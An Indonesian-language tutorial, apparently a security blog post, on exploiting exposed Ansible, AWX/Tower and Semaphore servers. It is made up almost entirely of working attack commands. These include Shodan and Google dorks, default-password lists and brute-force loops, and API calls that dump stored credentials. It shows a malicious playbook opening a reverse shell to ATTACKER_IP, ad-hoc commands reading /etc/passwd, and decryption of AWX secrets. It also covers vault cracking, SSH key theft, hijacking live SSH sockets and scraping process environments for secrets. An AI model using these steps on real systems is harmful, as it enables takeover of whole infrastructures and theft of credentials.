Ansible & AWX/Semaphore Exploitation

Eksploitasi Ansible yang terekspos — AWX/Tower/Semaphore default creds, vault cracking, playbook injection, dan lateral movement ke managed hosts.
February 26, 2026 Reading: 28 min Authors:
  • Siti

Daftar Isi


Bab 1 — Menemukan Ansible Interfaces yang Terekspos

1.1 Apa itu Ansible, AWX, Semaphore

ToolDeskripsiPort Default
AnsibleAutomation tool untuk config management, deployment, orkestrasi. Agentless (pakai SSH)Tidak ada (CLI tool)
AWXOpen-source web UI & API untuk Ansible. Upstream project dari Ansible Tower8052 (HTTP), 8043 (HTTPS)
Ansible TowerVersi enterprise (berbayar) dari AWX. Red Hat product443 (HTTPS)
SemaphoreLightweight open-source UI untuk Ansible3000 (HTTP)

Mengapa ini berbahaya:

  • Ansible punya SSH access ke semua server yang dikelola
  • AWX/Tower menyimpan credentials (SSH keys, passwords, cloud tokens) di database-nya
  • Satu akses ke Ansible control node = RCE di seluruh infrastructure

1.2 Mengapa Sering Terekspos

  • AWX di-deploy via Docker tanpa mengubah default credentials
  • Semaphore untuk “quick setup” di-expose ke public tanpa auth
  • Ansible files (inventory, playbooks, vault) tersimpan di Git repo publik
  • Developer expose AWX port untuk demo/testing, lupa close
  • Docker compose meng-expose port tanpa firewall
  • Ansible control node punya SSH key ke semua server — satu breach = total compromise

1.3 Dorking: Google / Shodan / FOFA

# ========== Google ==========

# AWX / Tower
intitle:"Ansible Tower" inurl:login
intitle:"AWX" inurl:"/#/login"
inurl:":8052" intitle:"AWX"
inurl:":8043" intitle:"AWX"
intitle:"Ansible Tower" "Log In"

# Semaphore
intitle:"Semaphore" inurl:auth/login
intitle:"Ansible Semaphore"
inurl:":3000" intitle:"Semaphore"

# Ansible files di web
inurl:ansible inurl:inventory ext:yml
inurl:ansible inurl:group_vars ext:yml
inurl:playbook ext:yml intext:"hosts:"
inurl:ansible.cfg
filetype:yml intext:"ansible_ssh_pass"
filetype:yml intext:"ansible_become_pass"
filetype:yml intext:"vault_password"

# Git repos
site:github.com "ansible_ssh_pass" filetype:yml
site:github.com "ANSIBLE_VAULT" filetype:yml
site:gitlab.com inurl:ansible inurl:inventory
 1# ========== Shodan ==========
 2
 3# AWX
 4shodan search 'http.title:"AWX"'
 5shodan search 'http.title:"AWX" port:8052'
 6shodan search 'http.title:"Ansible Tower"'
 7shodan search 'http.title:"Ansible Tower" country:"ID"'
 8
 9# Semaphore
10shodan search 'http.title:"Semaphore" port:3000'
11shodan search 'http.title:"Ansible Semaphore"'
12
13# Bulk
14shodan download awx 'http.title:"AWX"'
15shodan parse --fields ip_str,port,org awx.json.gz
# ========== FOFA ==========

title="AWX"
title="Ansible Tower"
title="Semaphore" && port="3000"
title="AWX" && country="ID"
body="AWX" && body="Log In"
body="Ansible Tower" && body="Log In"
# ========== Censys ==========

services.http.response.html_title: "AWX"
services.http.response.html_title: "Ansible Tower"
services.http.response.html_title: "Semaphore"

1.4 Default Credentials

AWX / Ansible Tower:

admin : password
admin : admin
admin : awx
admin : tower
admin : ansible

AWX Docker default (dari docker-compose):

admin : password

Semaphore:

admin : changeme
admin : admin
admin : semaphore

Semaphore default setelah semaphore setup:

# Credentials yang diset saat setup wizard
# Banyak yang pakai default tanpa ganti
admin : admin

1.5 Manual & Automated Discovery

 1# === AWX / Tower ===
 2# Cek halaman login
 3curl -sk https://TARGET:8043/
 4curl -sk http://TARGET:8052/
 5curl -sk https://TARGET/  # Tower biasanya di 443
 6
 7# API ping (tidak perlu auth)
 8curl -sk https://TARGET:8043/api/v2/ping/
 9curl -sk https://TARGET:8043/api/v2/config/
10
11# Cek versi
12curl -sk https://TARGET:8043/api/v2/ | jq '.current_version'
13
14# === Semaphore ===
15curl -sk http://TARGET:3000/
16curl -sk http://TARGET:3000/api/auth/login
17curl -sk http://TARGET:3000/api/ping
18
19# === Nuclei ===
20nuclei -l targets.txt -t http/exposed-panels/ansible-tower.yaml
21nuclei -l targets.txt -t http/exposed-panels/ansible-semaphore-panel.yaml
22nuclei -l targets.txt -tags ansible
23
24# === ffuf — path bruteforce ===
25cat > /tmp/ansible-paths.txt << 'EOF'
26/api/v2/
27/api/v2/ping/
28/api/v2/config/
29/api/v2/me/
30/#/login
31/api/auth/login
32/auth/login
33/api/ping
34EOF
35
36ffuf -u https://TARGET:8043/FUZZ -w /tmp/ansible-paths.txt -mc 200,301,302,401

Bab 2 — Eksploitasi AWX / Ansible Tower

2.1 Default Credentials & Brute Force

 1# Login attempt — AWX API
 2curl -sk -X POST https://TARGET:8043/api/v2/tokens/ \
 3  -u "admin:password" \
 4  -H "Content-Type: application/json"
 5
 6# Jika berhasil, response berisi token:
 7# {"id": 1, "token": "xxxxxx", ...}
 8
 9# Test credentials satu per satu
10for pass in password admin awx tower ansible changeme; do
11  resp=$(curl -sk -o /dev/null -w "%{http_code}" -X POST \
12    https://TARGET:8043/api/v2/tokens/ \
13    -u "admin:$pass" -H "Content-Type: application/json")
14  echo "admin:$pass$resp"
15done
16
17# Brute force dengan hydra
18hydra -l admin -P /usr/share/wordlists/rockyou.txt \
19  TARGET https-post-form \
20  "/api/v2/tokens/:{}:F=401" -V
21
22# Login via UI (jika API diblokir)
23# Browser → https://TARGET:8043/#/login
24# admin : password

Setelah dapat token:

1# Set token untuk semua request selanjutnya
2TOKEN="xxxxxx"
3AUTH="-H 'Authorization: Bearer $TOKEN'"
4
5# Atau gunakan basic auth terus
6# -u "admin:password"

2.2 API Exploration

AWX/Tower memiliki REST API yang lengkap. Setelah login:

 1# Cek identity
 2curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/me/ | jq
 3
 4# List semua resources yang tersedia
 5curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/ | jq
 6
 7# === Organizations ===
 8curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/organizations/ | jq '.results[] | {id, name}'
 9
10# === Users ===
11curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/users/ | jq '.results[] | {id, username, email, is_superuser}'
12
13# === Projects (source code repos) ===
14curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/projects/ | jq '.results[] | {id, name, scm_url, scm_type}'
15
16# === Inventories (list of managed hosts) ===
17curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/inventories/ | jq '.results[] | {id, name, total_hosts}'
18
19# === Hosts (managed servers) ===
20curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/hosts/ | jq '.results[] | {id, name, enabled, variables}'
21
22# === Credentials (SSH keys, passwords, cloud tokens) ===
23curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/credentials/ | jq '.results[] | {id, name, credential_type, inputs}'
24
25# === Job Templates (playbook + inventory + credential combo) ===
26curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/job_templates/ | jq '.results[] | {id, name, playbook, inventory, credential}'
27
28# === Job History (output dari job sebelumnya) ===
29curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/jobs/ | jq '.results[] | {id, name, status, started}'
30
31# Baca output job tertentu (mungkin ada credentials/secrets di output)
32curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/jobs/JOB_ID/stdout/?format=txt

2.3 RCE via Job Template

Ini jalur paling langsung — buat job template yang menjalankan command di managed hosts:

Method 1: Buat project + job template baru

 1# 1. Buat project dari Git repo yang kamu kontrol
 2# Di repo attacker, buat playbook:
 3# rce.yml:
 4# ---
 5# - hosts: all
 6#   tasks:
 7#     - name: rce
 8#       shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
 9
10# Push ke repo public
11
12# 2. Buat project di AWX
13curl -sk -H "Authorization: Bearer $TOKEN" \
14  -X POST https://TARGET:8043/api/v2/projects/ \
15  -H "Content-Type: application/json" \
16  -d '{
17    "name": "infra-update",
18    "organization": 1,
19    "scm_type": "git",
20    "scm_url": "https://github.com/ATTACKER/ansible-rce.git"
21  }'
22
23# 3. Tunggu project sync selesai
24curl -sk -H "Authorization: Bearer $TOKEN" \
25  https://TARGET:8043/api/v2/projects/ | jq '.results[] | {id, name, status}'
26
27# 4. Buat job template
28curl -sk -H "Authorization: Bearer $TOKEN" \
29  -X POST https://TARGET:8043/api/v2/job_templates/ \
30  -H "Content-Type: application/json" \
31  -d '{
32    "name": "infra-update-job",
33    "project": PROJECT_ID,
34    "inventory": INVENTORY_ID,
35    "playbook": "rce.yml",
36    "credential": CREDENTIAL_ID
37  }'
38
39# 5. Launch job
40curl -sk -H "Authorization: Bearer $TOKEN" \
41  -X POST https://TARGET:8043/api/v2/job_templates/JOB_TEMPLATE_ID/launch/

Method 2: Ad-hoc command (lebih cepat)

 1# AWX mendukung ad-hoc commands — jalankan command langsung di hosts
 2
 3# 1. Cari inventory ID dan credential ID yang sudah ada
 4INV_ID=$(curl -sk -H "Authorization: Bearer $TOKEN" \
 5  https://TARGET:8043/api/v2/inventories/ | jq '.results[0].id')
 6
 7CRED_ID=$(curl -sk -H "Authorization: Bearer $TOKEN" \
 8  https://TARGET:8043/api/v2/credentials/ | jq '.results[0].id')
 9
10# 2. Jalankan ad-hoc command
11curl -sk -H "Authorization: Bearer $TOKEN" \
12  -X POST https://TARGET:8043/api/v2/inventories/$INV_ID/ad_hoc_commands/ \
13  -H "Content-Type: application/json" \
14  -d '{
15    "module_name": "shell",
16    "module_args": "id && whoami && hostname && cat /etc/passwd",
17    "credential": '$CRED_ID',
18    "limit": ""
19  }'
20
21# 3. Cek output
22curl -sk -H "Authorization: Bearer $TOKEN" \
23  https://TARGET:8043/api/v2/ad_hoc_commands/COMMAND_ID/stdout/?format=txt

Method 3: Modify job template yang sudah ada

 1# Daripada bikin baru, modify playbook di project yang sudah ada
 2# (kurang noisy)
 3
 4# 1. List job templates
 5curl -sk -H "Authorization: Bearer $TOKEN" \
 6  https://TARGET:8043/api/v2/job_templates/ | jq '.results[] | {id, name, playbook}'
 7
 8# 2. Cek project detail (git URL)
 9curl -sk -H "Authorization: Bearer $TOKEN" \
10  https://TARGET:8043/api/v2/projects/PROJECT_ID/ | jq '{scm_url, scm_branch}'
11
12# 3. Jika punya akses ke git repo (dari langkah sebelumnya),
13#    inject task ke playbook yang sudah ada, lalu trigger job

2.4 Credential Extraction via API

AWX menyimpan credentials terenkripsi di database, tapi ada beberapa cara untuk extract:

 1# 1. List credentials (nama dan tipe terlihat, value ter-mask)
 2curl -sk -H "Authorization: Bearer $TOKEN" \
 3  https://TARGET:8043/api/v2/credentials/ | jq '.results[] | {id, name, credential_type, description}'
 4
 5# Credential types:
 6# 1 = Machine (SSH) — username, password, SSH key
 7# 2 = Source Control — Git credentials
 8# 3 = Vault — Ansible Vault password
 9# 4 = Network — Network device credentials
10# 5 = Cloud (AWS, GCP, Azure, etc.)
11
12# 2. Detail credential (password ter-mask "$encrypted$")
13curl -sk -H "Authorization: Bearer $TOKEN" \
14  https://TARGET:8043/api/v2/credentials/CRED_ID/ | jq '.inputs'
15# {"username": "deploy", "password": "$encrypted$", "ssh_key_data": "$encrypted$"}
16
17# 3. Cara extract password yang ter-encrypt:
18
19# Method A: Via job output — buat playbook yang print environment
20# rce.yml:
21# - hosts: all
22#   tasks:
23#     - debug: msg="{{ ansible_ssh_pass }}"
24#     - shell: env | sort
25#     - shell: cat ~/.ssh/id_rsa 2>/dev/null || echo "no key"
26# → credential terlihat di job stdout
27
28# Method B: Via AWX database langsung (jika punya shell di AWX server)
29# AWX simpan credentials encrypted dengan SECRET_KEY di settings
30# File: /etc/tower/SECRET_KEY atau environment variable
31# Database: PostgreSQL awx database
32
33# Method C: Via callback plugin — intercept credentials saat job berjalan

Jika punya shell di AWX server:

 1# Baca secret key
 2cat /etc/tower/SECRET_KEY 2>/dev/null
 3# atau
 4grep SECRET_KEY /etc/tower/conf.d/*.py 2>/dev/null
 5# atau di Docker
 6docker exec awx_task cat /etc/tower/SECRET_KEY
 7
 8# Connect ke database
 9docker exec -it awx_postgres psql -U awx -d awx
10
11# Atau langsung
12psql -h localhost -U awx -d awx
13
14# Query credentials
15SELECT id, name, credential_type_id,
16       encode(inputs::bytea, 'escape') as encrypted_inputs
17FROM main_credential;
18
19# Decrypt membutuhkan SECRET_KEY + Fernet symmetric encryption
20# Script Python untuk decrypt:
21# python3 -c "
22# from awx.main.utils import decrypt_field
23# from awx.main.models import Credential
24# for cred in Credential.objects.all():
25#     print(f'{cred.name}: {cred.get_input(\"password\")}')
26# "

2.5 Inventory & Host Enumeration

Inventory = daftar semua server yang dikelola Ansible. Ini adalah peta seluruh infrastruktur.

 1# List inventories
 2curl -sk -H "Authorization: Bearer $TOKEN" \
 3  https://TARGET:8043/api/v2/inventories/ | jq '.results[] | {id, name, total_hosts, total_groups}'
 4
 5# List hosts di inventory
 6curl -sk -H "Authorization: Bearer $TOKEN" \
 7  https://TARGET:8043/api/v2/inventories/INV_ID/hosts/ | jq '.results[] | {id, name, enabled, variables}'
 8
 9# List groups (pengelompokan hosts)
10curl -sk -H "Authorization: Bearer $TOKEN" \
11  https://TARGET:8043/api/v2/inventories/INV_ID/groups/ | jq '.results[] | {id, name, variables}'
12
13# Host variables (sering berisi credentials per-host)
14curl -sk -H "Authorization: Bearer $TOKEN" \
15  https://TARGET:8043/api/v2/hosts/HOST_ID/ | jq '.variables' | python3 -c "import sys,json; print(json.dumps(json.loads(sys.stdin.read()),indent=2))"
16
17# Group variables
18curl -sk -H "Authorization: Bearer $TOKEN" \
19  https://TARGET:8043/api/v2/groups/GROUP_ID/ | jq '.variables'

Variables yang sering berisi credentials:

 1# host_vars atau group_vars
 2ansible_ssh_user: deploy
 3ansible_ssh_pass: SuperSecretPassword
 4ansible_become_pass: SudoPassword
 5ansible_ssh_private_key_file: /path/to/key
 6
 7# Database credentials
 8db_password: DatabasePass123
 9mysql_root_password: RootPass
10
11# Application secrets
12app_secret_key: MyAppSecret
13api_key: sk_live_xxxxxx

2.6 Eksploitasi Semaphore UI

Semaphore lebih sederhana dari AWX, tapi prinsipnya sama:

 1# Login
 2curl -s http://TARGET:3000/api/auth/login \
 3  -H "Content-Type: application/json" \
 4  -d '{"auth": "admin", "password": "changeme"}'
 5# Response: {"token": "xxxxx"}
 6
 7# Set token
 8STOKEN="xxxxx"
 9
10# List projects
11curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/projects | jq
12
13# List inventories
14curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/inventory | jq
15
16# List templates (job definitions)
17curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/templates | jq
18
19# List keys (SSH keys & credentials)
20curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/keys | jq
21
22# List repositories
23curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/repositories | jq
24
25# Trigger task (menjalankan playbook)
26curl -s -H "Authorization: Bearer $STOKEN" \
27  -X POST http://TARGET:3000/api/project/1/tasks \
28  -H "Content-Type: application/json" \
29  -d '{"template_id": TEMPLATE_ID}'
30
31# Baca task output
32curl -s -H "Authorization: Bearer $STOKEN" \
33  http://TARGET:3000/api/project/1/tasks/TASK_ID/output | jq

Bab 3 — Eksploitasi Ansible Vault & Files

3.1 Exposed Ansible Files

Ansible configuration files sering ditemukan di:

  • Git repositories publik
  • Exposed web directories
  • Backup files yang terekspos
  • CI/CD pipeline artifacts

File yang dicari:

# Main config
ansible.cfg                          # Konfigurasi utama
ansible/ansible.cfg

# Inventory (daftar semua server)
inventory                            # Default inventory file
inventory/hosts
inventory/production
inventory/staging
hosts.yml
hosts.ini

# Variables (sering berisi credentials)
group_vars/all.yml                   # Variables untuk semua host
group_vars/all/vault.yml             # Encrypted vault
group_vars/production.yml
group_vars/webservers.yml
group_vars/databases.yml
host_vars/server1.yml                # Variables per-host

# Playbooks
site.yml
deploy.yml
setup.yml
playbooks/*.yml

# Roles
roles/*/defaults/main.yml           # Default variables
roles/*/vars/main.yml               # Role variables
roles/*/tasks/main.yml              # Task definitions
roles/*/files/*                     # Files yang di-deploy
roles/*/templates/*                 # Templates (mungkin berisi secrets)

# Vault files
vault.yml
secrets.yml
*vault*.yml
*.vault

Dorking untuk menemukan file Ansible:

 1# Google
 2site:github.com "ansible_ssh_pass" filetype:yml
 3site:github.com "ANSIBLE_VAULT" filetype:yml
 4site:github.com "ansible_become_pass" filetype:yml
 5site:github.com path:group_vars filetype:yml
 6site:github.com path:inventory filetype:ini "ansible_ssh"
 7site:gitlab.com path:ansible filetype:yml "password"
 8
 9# Web server
10curl -sk https://TARGET/ansible/inventory
11curl -sk https://TARGET/ansible/group_vars/all.yml
12curl -sk https://TARGET/deploy/ansible.cfg
13
14# ffuf
15cat > /tmp/ansible-files.txt << 'EOF'
16ansible.cfg
17ansible/ansible.cfg
18inventory
19inventory/hosts
20inventory/production
21group_vars/all.yml
22group_vars/all/vault.yml
23host_vars/
24playbooks/
25site.yml
26deploy.yml
27vault.yml
28secrets.yml
29EOF
30
31ffuf -u https://TARGET/FUZZ -w /tmp/ansible-files.txt -mc 200 -fs 0

3.2 Ansible Vault Cracking

Ansible Vault mengenkripsi file/variable sensitif. Format:

$ANSIBLE_VAULT;1.1;AES256
38666532346461363032333332316133316265626634666162663437393530383862663162623435
3965633737396538613564396233616538353264343937310a363838396636356333666335373262
...

Cracking:

 1# 1. Extract vault file
 2cat vault.yml
 3# $ANSIBLE_VAULT;1.1;AES256
 4# 38666532...
 5
 6# 2. Convert ke format hashcat/john
 7# Menggunakan ansible2john (dari john the ripper)
 8ansible2john vault.yml > vault_hash.txt
 9
10# Atau dari pip
11pip install ansible2john
12ansible2john vault.yml > vault_hash.txt
13
14# Format output:
15# vault.yml:$ansible$0*0*hex_salt*hex_data...
16
17# 3. Crack dengan hashcat
18hashcat -m 16900 vault_hash.txt /usr/share/wordlists/rockyou.txt
19# Mode 16900 = Ansible Vault
20
21# Crack dengan john
22john vault_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
23
24# 4. Decrypt setelah dapat password
25ansible-vault decrypt vault.yml --vault-password-file <(echo 'cracked_password')
26
27# Atau view tanpa decrypt (output ke stdout)
28ansible-vault view vault.yml --vault-password-file <(echo 'cracked_password')

Wordlist khusus Ansible vault:

ansible
password
changeme
vault
secret
ansible123
admin
tower
awx
P@ssw0rd

Inline vault (encrypted variable di dalam file YAML):

1# group_vars/all.yml
2db_user: admin
3db_password: !vault |
4  $ANSIBLE_VAULT;1.1;AES256
5  38666532346461363032333332...
6
7# Extract inline vault:
8# Salin bagian $ANSIBLE_VAULT... ke file terpisah
9# Lalu crack seperti biasa

3.3 Plaintext Passwords di Playbooks & Vars

Banyak developer menyimpan password tanpa enkripsi:

 1# Cari password plaintext
 2grep -rn 'password\|passwd\|secret\|api_key\|token' group_vars/ host_vars/ roles/ playbooks/ 2>/dev/null
 3
 4# Pattern yang umum
 5grep -rn 'ansible_ssh_pass' . 2>/dev/null
 6grep -rn 'ansible_become_pass' . 2>/dev/null
 7grep -rn 'ansible_sudo_pass' . 2>/dev/null
 8grep -rn 'mysql_root_password' . 2>/dev/null
 9grep -rn 'db_password' . 2>/dev/null
10grep -rn 'api_key\|api_secret' . 2>/dev/null
11grep -rn 'aws_secret\|aws_access' . 2>/dev/null
12grep -rn 'private_key' . 2>/dev/null

Contoh temuan umum:

 1# group_vars/all.yml (TANPA vault!)
 2---
 3ansible_ssh_user: deploy
 4ansible_ssh_pass: Deploy2024!
 5ansible_become_pass: Sudo2024!
 6
 7db_host: 10.0.0.5
 8db_user: root
 9db_password: MySQLR00t!
10
11aws_access_key: AKIAIOSFODNN7EXAMPLE
12aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
13
14smtp_password: AppSpecificPass123
15redis_password: RedisP@ss
1# roles/webserver/tasks/main.yml
2- name: Configure database connection
3  template:
4    src: config.php.j2
5    dest: /var/www/html/config.php
6  vars:
7    db_pass: "HardcodedPassword123"   # ← plaintext di task

3.4 SSH Key Extraction

Ansible sering menggunakan SSH key untuk koneksi ke managed hosts:

 1# Cari SSH key references
 2grep -rn 'ssh_private_key\|private_key_file\|ansible_ssh_private_key' . 2>/dev/null
 3
 4# Lokasi umum SSH key
 5cat ~/.ssh/id_rsa
 6cat ~/.ssh/id_ed25519
 7cat /home/ansible/.ssh/id_rsa
 8cat /home/deploy/.ssh/id_rsa
 9cat /opt/ansible/keys/*.pem
10
11# Di ansible.cfg
12grep -i private_key ansible.cfg
13# private_key_file = /path/to/key.pem
14
15# Di inventory
16grep -i ansible_ssh_private_key_file inventory/*
17# server1 ansible_ssh_private_key_file=/opt/keys/server1.pem
18
19# Di AWX/Tower — credentials berisi SSH key
20# Lihat section 2.4 untuk extraction via API

3.5 Inventory File Analysis

Inventory file adalah peta seluruh infrastruktur:

 1# inventory/production (INI format)
 2
 3[webservers]
 4web1.internal.com ansible_host=10.0.1.10
 5web2.internal.com ansible_host=10.0.1.11
 6web3.internal.com ansible_host=10.0.1.12
 7
 8[databases]
 9db-master.internal.com ansible_host=10.0.2.10 ansible_ssh_user=dbadmin
10db-slave.internal.com ansible_host=10.0.2.11
11
12[redis]
13cache1.internal.com ansible_host=10.0.3.10
14
15[monitoring]
16grafana.internal.com ansible_host=10.0.4.10
17prometheus.internal.com ansible_host=10.0.4.11
18
19[all:vars]
20ansible_ssh_user=deploy
21ansible_ssh_pass=GlobalDeployPass!
22ansible_become=yes
23ansible_become_pass=SudoGlobalPass!
 1# inventory/production.yml (YAML format)
 2all:
 3  vars:
 4    ansible_ssh_user: deploy
 5    ansible_ssh_private_key_file: ~/.ssh/deploy_key
 6  children:
 7    webservers:
 8      hosts:
 9        web1: {ansible_host: 10.0.1.10}
10        web2: {ansible_host: 10.0.1.11}
11    databases:
12      hosts:
13        db-master: {ansible_host: 10.0.2.10, ansible_ssh_user: dbadmin, ansible_ssh_pass: "DBAdmin2024!"}
14        db-slave: {ansible_host: 10.0.2.11}

Informasi yang didapat:

DataValue
Internal IP addressesSemua server yang dikelola
HostnamesStruktur naming convention
GroupingArsitektur infrastruktur
Credentials per host/groupUsername, password, SSH key
Network topologySubnet, segmentasi

3.6 Ansible Artifacts di Compromised Host

Ketika sudah punya shell di server (via GitLab CI, webshell, SSH, dll), cari jejak Ansible yang tertinggal. Ansible meninggalkan banyak artifact di filesystem yang bisa mengungkap credentials, inventory, dan infrastruktur.

Lokasi Artifact Utama

 1# ========== ~/.ansible/ — direktori utama ==========
 2
 3# Temp files (module execution leftovers)
 4ls -la ~/.ansible/tmp/
 5# ansible-local-*  → Ansible jalan di mesin INI (connection: local)
 6# ansible-tmp-*    → Ansible SSH ke mesin ini dari remote
 7
 8# SSH ControlPersist sockets (reuse SSH session!)
 9ls -la ~/.ansible/cp/
10# File: ansible-ssh-<host>-<port>-<user>
11# Jika socket masih aktif → bisa reuse tanpa password
12ssh -S ~/.ansible/cp/ansible-ssh-10.0.0.5-22-deploy 10.0.0.5
13
14# Ansible Galaxy token
15cat ~/.ansible/galaxy_token 2>/dev/null
16# Token untuk Ansible Galaxy — mungkin linked ke akun organisasi
17
18# Collections (menunjukkan apa yang dipakai)
19ls ~/.ansible/collections/ansible_collections/ 2>/dev/null
20# community.general, amazon.aws, azure.azcollection, dll
21# → menunjukkan cloud/platform apa yang dikelola
22
23# Roles yang ter-download
24ls ~/.ansible/roles/ 2>/dev/null

~/.ansible/tmp — Detail

 1# Listing semua temp directories
 2find ~/.ansible/tmp/ -type d | sort
 3
 4# ========== ansible-local-* ==========
 5# Format: ansible-local-<PID><RANDOM>/
 6# Artinya: playbook dijalankan LOKAL di mesin ini (connection: local)
 7# Skenario: CI/CD pipeline, ansible-pull, atau self-provisioning
 8
 9ls ~/.ansible/tmp/ansible-local-*/
10# ansiballz_cache/  → cached modules (lihat di bawah)
11# tmpXXXXXX         → temp files dari module execution
12
13# ========== ansible-tmp-* ==========
14# Format: ansible-tmp-<TIMESTAMP>-<PID>-<RANDOM>/
15# Artinya: mesin ini di-manage oleh Ansible REMOTE (control node lain SSH ke sini)
16# Skenario: server ini adalah managed host
17
18ls ~/.ansible/tmp/ansible-tmp-*/
19# AnsiballZ_*.py    → module yang dieksekusi
20# tmpXXXX           → argument files (MUNGKIN berisi credentials!)

AnsiballZ Cache — Forensik Module

 1# AnsiballZ cache menyimpan module yang pernah dijalankan
 2ls ~/.ansible/tmp/ansible-local-*/ansiballz_cache/
 3
 4# Contoh output:
 5# setup-ZIP_DEFLATED       → gather_facts (system info collection)
 6# copy-ZIP_DEFLATED        → copy file ke target
 7# template-ZIP_DEFLATED    → deploy template (config files)
 8# user-ZIP_DEFLATED        → manage user accounts
 9# apt-ZIP_DEFLATED         → install packages
10# yum-ZIP_DEFLATED         → install packages (RHEL)
11# service-ZIP_DEFLATED     → manage services
12# command-ZIP_DEFLATED     → run arbitrary commands
13# shell-ZIP_DEFLATED       → run shell commands
14# file-ZIP_DEFLATED        → manage file permissions
15# lineinfile-ZIP_DEFLATED  → edit files
16# cron-ZIP_DEFLATED        → manage cron jobs
17# authorized_key-ZIP_DEFLATED → manage SSH keys
18# mysql_user-ZIP_DEFLATED  → manage MySQL users
19# postgresql_db-ZIP_DEFLATED → manage PostgreSQL
20
21# Dari daftar module → TAHU apa yang playbook lakukan:
22# user + authorized_key = manage access
23# mysql_user + postgresql_db = manage databases
24# template + copy = deploy config files (mungkin berisi secrets)
25# command + shell = run arbitrary commands
26
27# Baca isi AnsiballZ (self-extracting Python script)
28head -100 ~/.ansible/tmp/ansible-local-*/ansiballz_cache/setup-ZIP_DEFLATED
29# Header berisi metadata: Ansible version, module name, interpreter
30
31# Extract AnsiballZ module
32python3 ~/.ansible/tmp/ansible-local-*/ansiballz_cache/copy-ZIP_DEFLATED explode
33# Akan extract ke: ~/.ansible/tmp/debug_dir/
34# Di sana ada: ansible_module_*.py + args file
35# Args file MUNGKIN berisi credentials yang dikirim ke module

Ansible Log Files

 1# Default log (jika dikonfigurasi di ansible.cfg)
 2cat /var/log/ansible.log 2>/dev/null
 3cat ~/ansible.log 2>/dev/null
 4
 5# Cari ansible.cfg untuk tahu log location
 6find / -name "ansible.cfg" -type f 2>/dev/null | while read f; do
 7  echo "=== $f ==="
 8  grep -i "log_path\|log_filter" "$f" 2>/dev/null
 9done
10
11# Log berisi:
12# - Task names & arguments (mungkin ada password di command/shell args)
13# - Host list (inventory)
14# - Success/failure per host
15# - Timestamps (kapan playbook terakhir jalan)
16
17# Cari credentials di log
18grep -i 'password\|secret\|token\|key\|credential' /var/log/ansible.log 2>/dev/null

Ansible Fact Cache

 1# Jika fact_caching dikonfigurasi (jsonfile atau redis)
 2# Default location:
 3ls ~/.ansible/facts_cache/ 2>/dev/null
 4ls /tmp/ansible_facts_cache/ 2>/dev/null
 5
 6# Fact cache = system info dari setiap managed host (JSON)
 7cat ~/.ansible/facts_cache/web1.internal.com 2>/dev/null | python3 -m json.tool | head -50
 8
 9# Berisi:
10# - IP addresses (semua interface)
11# - OS info, kernel version
12# - Mount points, disk info
13# - User list
14# - Running services
15# - Network config
16# - Hardware info
17# → Peta lengkap setiap managed host tanpa perlu akses langsung
18
19# Cari semua fact cache files
20find / -path "*/facts_cache/*" -o -path "*/fact_cache/*" 2>/dev/null

CI/CD Pipeline Artifacts (GitLab Runner, Jenkins, dll)

 1# GitLab Runner — build directories berisi ansible files
 2find /home/gitlab-runner/builds/ -name "*.yml" -path "*ansible*" 2>/dev/null
 3find /home/gitlab-runner/builds/ -name "inventory" 2>/dev/null
 4find /home/gitlab-runner/builds/ -name "ansible.cfg" 2>/dev/null
 5find /home/gitlab-runner/builds/ -name "vault*" 2>/dev/null
 6find /home/gitlab-runner/builds/ -name ".vault_pass*" 2>/dev/null
 7find /home/gitlab-runner/builds/ -name "group_vars" -type d 2>/dev/null
 8
 9# Vault password file (sering ditinggal di runner)
10find / -name ".vault_pass" -o -name ".vault_password" -o -name "vault_pass.txt" -o -name ".vault-pass" 2>/dev/null
11# Jika ketemu → bisa decrypt semua vault files
12
13# Environment variables di runner (mungkin ada ANSIBLE_VAULT_PASSWORD)
14cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i ansible
15# ANSIBLE_VAULT_PASSWORD=xxx
16# ANSIBLE_VAULT_PASSWORD_FILE=/path/to/file
17# ANSIBLE_CONFIG=/path/to/ansible.cfg
18# ANSIBLE_INVENTORY=/path/to/inventory
19
20# Jenkins workspace
21find /var/lib/jenkins/workspace/ -name "*.yml" -path "*ansible*" 2>/dev/null
22find /var/lib/jenkins/ -name "ansible.cfg" 2>/dev/null
23
24# GitLab Runner ansible temp (contoh kasus: gitlab-runner2)
25find /home/gitlab-runner*/.ansible/ -type f 2>/dev/null
26# /home/gitlab-runner2/.ansible/tmp/ansible-local-9541wkY6C0/ansiballz_cache/setup-ZIP_DEFLATED
27# → Ansible dijalankan local di CI pipeline
28# → Cek module lain di ansiballz_cache untuk tahu task apa saja
29
30# Playbook yang ter-checkout di build workspace
31find /home/gitlab-runner*/builds/ -maxdepth 5 -name "*.yml" 2>/dev/null | \
32  xargs grep -l "hosts:" 2>/dev/null
33# → menemukan playbook files
34
35# Roles di build workspace
36find /home/gitlab-runner*/builds/ -path "*/roles/*/tasks/main.yml" 2>/dev/null

ansible-pull Artifacts

 1# ansible-pull = Ansible yang jalan dari target sendiri (pull-based)
 2# Checkout directory default:
 3ls ~/.ansible/pull/ 2>/dev/null
 4ls /var/lib/ansible/local/ 2>/dev/null
 5
 6# Crontab entry untuk ansible-pull (otomatis jalan berkala)
 7crontab -l 2>/dev/null | grep ansible-pull
